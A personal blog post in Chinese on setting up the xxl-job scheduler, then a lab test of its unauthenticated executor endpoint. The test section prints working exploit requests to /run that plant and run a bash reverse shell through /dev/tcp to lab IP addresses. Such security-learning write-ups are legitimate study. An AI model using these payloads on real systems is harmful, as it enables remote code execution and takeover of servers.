xxl-job
安装使用
在使用之前,需要把maven配置好,可以看我上一篇关于配置maven的文章,配置完成后可以看这篇教程
使用教程:https://blog.csdn.net/f2315895270/article/details/104714692
我也会跟着操作一遍
编译项目

创建数据库
直接用doc下的sql文件即可

打开xxl-job-admin模块,在application.properties中进行后台的配置


注意在数据库地址哪里加上时区属性,否则乱码

启动项目
然后我们启动XxlJobAdminApplication类,访问http://localhost:8080/xxl-job-admin 默认账户admn,密码123456


成功启动了

参考文章中说定位到springboot模块下的jobhandler层下面,但我下载的更新后的项目,里面已经不再是jobhandler,可以看项目给的SampleXxlJob改,但代码能力不行,我还是找新教程把

换成了这个,我后续跟的是另一个教程java定时任务框架xxl-job(使用、总结),按照他的测试代码试了试,还发现,可以用docker拉这个项目,但我觉得可能就不是很好修改了,这里我们就不用他的执行器了,用默认的
package com.xxl.job.executor.service.jobhandler; import cn.hutool.core.util.RandomUtil; import com.xxl.job.core.context.XxlJobHelper; import com.xxl.job.core.handler.annotation.XxlJob; import org.springframework.stereotype.Component; import java.time.LocalDateTime; import java.util.Arrays; import java.util.List;
@Component public class JobHandler { private List<Integer> dataList = Arrays.asList(1, 2, 3, 4, 5, 6, 7, 8, 9, 10);
@XxlJob("firstJob") public void firstJob() throws Exception { System.out.println("firstJob执行了.... " + LocalDateTime.now()); for (Integer data : dataList) { XxlJobHelper.log("data= {}", data); Thread.sleep(RandomUtil.randomInt(100, 500)); } System.out.println("firstJob执行结束了.... " + LocalDateTime.now()); } }
|
遇到问题
测试的时候会少一个依赖,hutool的,本地仓库是有,我们给他加进去就行了
<dependency> <groupId>cn.hutool</groupId> <artifactId>hutool-all</artifactId> <version>5.7.7</version> </dependency>
|
然后更新一下环境就行了,但当时也不知道哪一个成的
然后还点了一下maven重载,回归正题,在任务管理里面新增任务

编写完成后,重启服务,在任务管理中创建任务:

这个新增参数和之前好像也有变化,稍微调了调,让他看起来和攻略里差不多,然后记得启动执行器XxlJobExecutorApplication

也是成功执行了,后续的cron控制定时任务等其它操作,可以继续看这个*攻略*
漏洞测试
在docker里也有一个unacc的漏洞,我们先测试这个
uacc
- 环境搭建
- 查看服务是否启动

可以看到8080是admin服务,9999是exector端,我们访问9999端口

看到这个就是服务启动成功了
- poc测试
访问http://localhost:9999/run抓包

修改请求方式为POST
,并写入exp,然后发送请求
{ "jobId": 1, "executorHandler": "demoJobHandler", "executorParams": "demoJobHandler", "executorBlockStrategy": "COVER_EARLY", "executorTimeout": 0, "logId": 1, "logDateTime": 1586629003729, "glueType": "GLUE_SHELL", "glueSource": "echo 'bash -i >& /dev/tcp/192.168.174.160/9999 0>&1' > /tmp/1.sh", "glueUpdatetime": 1586699003758, "broadcastIndex": 0, "broadcastTotal": 0 }
|

这样子是先创建了一个shell脚本,等会我们执行它即可,现在在本机开启监听
然后再发一个赋予权限和一个执行shell脚本的exp
{ "jobId": 1, "executorHandler": "demoJobHandler", "executorParams": "demoJobHandler", "executorBlockStrategy": "COVER_EARLY", "executorTimeout": 0, "logId": 1, "logDateTime": 1586629003729, "glueType": "GLUE_SHELL", "glueSource": "chmod +x /tmp/1.sh", "glueUpdatetime": 1586699003758, "broadcastIndex": 0, "broadcastTotal": 0 }
|

{ "jobId": 1, "executorHandler": "demoJobHandler", "executorParams": "demoJobHandler", "executorBlockStrategy": "COVER_EARLY", "executorTimeout": 0, "logId": 1, "logDateTime": 1586629003729, "glueType": "GLUE_SHELL", "glueSource": "/bin/bash /tmp/1.sh", "glueUpdatetime": 1586699003758, "broadcastIndex": 0, "broadcastTotal": 0 }
|

不懂怎么不行,文件倒是创建了,在容器里测试了下,可以返回,但发包就不行

创建个2.sh,给他弹到靶机去试试
echo 'bash -i >& /dev/tcp/192.168.174.137/8888 0>&1' > /tmp/2.sh
|
不懂怎么回事,在里面弹就行,外面最多到赋予权限,试了下删除点东西,原来是包的东西太多了
POST /run HTTP/1.1 Host: 192.168.174.137:9999 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*
|
删掉一些东西就行了
